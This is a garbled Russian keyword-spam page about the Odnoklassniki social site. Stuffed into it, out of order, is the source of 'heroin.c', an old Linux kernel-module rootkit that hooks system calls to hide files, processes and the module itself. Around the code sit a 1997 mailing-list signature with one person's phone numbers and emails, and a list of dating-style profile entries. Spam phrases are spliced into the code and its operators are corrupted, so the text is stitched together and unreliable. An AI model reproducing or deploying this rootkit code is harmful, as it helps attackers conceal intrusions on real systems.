Однокласники ру социальный сайт

, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*original_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which . = QM_MODULES) однокласники ру социальный сайт return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(. mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; однокласники ру социальный сайт mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = hacked_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = hacked_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = hacked_read; original_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module] = hacked_query_module; return(0); } void cleanup_module(void) { sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_query_module] = original_query_module; } ----- ----- Runar Jensen однокласники ру социальный сайт | Phone (318) 289-0125 | Email zarq@1stnet. com Network Administrator | or (800) 264-7440 | or zarq@opaque. org Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page. 1stnet. com FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject] -- ---------------------------------------------------------------------- Please refere to the information about this list as well as general information about Linux security at http://www. aoy. com/Linux/Security. ---------------------------------------------------------------------- To unsubscribe: mail -s unsubscribe test-list-request@redhat. com < /dev/null Last-modified: Fri, 10 Oct 1997 05:41:10 GMT 2. 0. 30, since 2. 0. 30 lacks the * query_module() function. * * Compile with: * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin. c */ #include #include #include #include #include #include #include #include #include #define MAGIC_PREFIX "heroin" #define PF_INVISIBLE 0x10000000 #define SIGINVISI 31 int закрытые группы на одноклассниках inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret); extern void *sys_call_table[]; int (*original_getdents)(unsigned int, struct dirent *, unsigned int); int (*original_kill)(pid_t, int); int (*original_read)(int, void *, size_t); int (*original_query_module)(const char *, int, void *, size_t, size_t *); int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if(*ptr < '0' || *ptr > '9') return(-1); однокласники ру социальный сайт res += (*ptr - '0') * mul; mul *= 10; } return(res); } void mybcopy(char *src, char *dst, unsigned int num) { while(num--) *(dst++) = *(src++); } int mystrcmp(char *str1, char *str2) { while(*str1 && *str2) if(*(str1++) . = *(str2++)) return(-1); return(0); } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return(task); task = task->next_task; } while(task . = current); return(NULL); } int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); однокласники ру социальный сайт res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && . MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { однокласники ру социальный сайт curr = (struct dirent *)ptr; if((. proc && . mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct однокласники ру социальный сайт *task = current; if(sig однокласники ру социальный сайт = SIGINVISI) { res = (*original_kill)(pid, sig); if(res == -1) однокласники ру социальный сайт return(-errno); однокласники ру социальный сайт return(res); } if((task = find_task(pid)) == NULL) return(-ESRCH); if(current->uid && current->euid) return(-EPERM); task->flags |= PF_INVISIBLE; return(0); } int hacked_read(int fd, char *buf, size_t count) { int res; char *ptr, *match; struct inode *dinode; res = (*original_read)(fd, buf, count); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino . = PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) . = 1) return(res); ptr = buf; while(ptr < buf + res) { if(. mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr && *ptr . = '\n') однокласники ру социальный сайт однокласники ру социальный сайт однокласники ру социальный сайт ptr++; ptr++; однокласники ру социальный сайт mybcopy(ptr, match, (buf + res) - ptr); res = res - (ptr - match); return(res); } while(*ptr && *ptr

Все анкеты из твоего города

однокласники ру социальный сайт анимационные картинки на форуме одноклассников


tanita_sh
Гетеро

однокласники ру социальный сайт www yandex ru однокласники


tanita_sh
Би

однокласники ру социальный сайт http www yandex ru одноклассники


tanita_sh
Би

однокласники ру социальный сайт секс в контакте ru


tanita_sh
Би

однокласники ру социальный сайт www vsexkontakte net


tanita_sh
Би

однокласники ру социальный сайт сайт однокласники ру


tanita_sh
Гетеро

однокласники ру социальный сайт сайты поиска друзей одноклассников


tanita_sh
Гетеро

однокласники ру социальный сайт поиск одноклассников www odnoklassniki ru


tanita_sh
Гетеро

однокласники ру социальный сайт одноклассники 62 школы


tanita_sh
Гетеро

однокласники ру социальный сайт одноклассники логин пароль латвия


tanita_sh
Гетеро

однокласники ру социальный сайт послушать песню одноклассники


tanita_sh
Би

однокласники ру социальный сайт одноклассники проверять новые фотографии


tanita_sh
Би

однокласники ру социальный сайт в кругу друзей одноклассники


tanita_sh
Гетеро

однокласники ру социальный сайт социальные сети вконтакте одноклассники


tanita_sh
Гетеро

однокласники ру социальный сайт открытки с днем рождения однокласснику


tanita_sh
Гетеро

однокласники ру социальный сайт одноклассники поиск бывших сокурсников


tanita_sh
Гетеро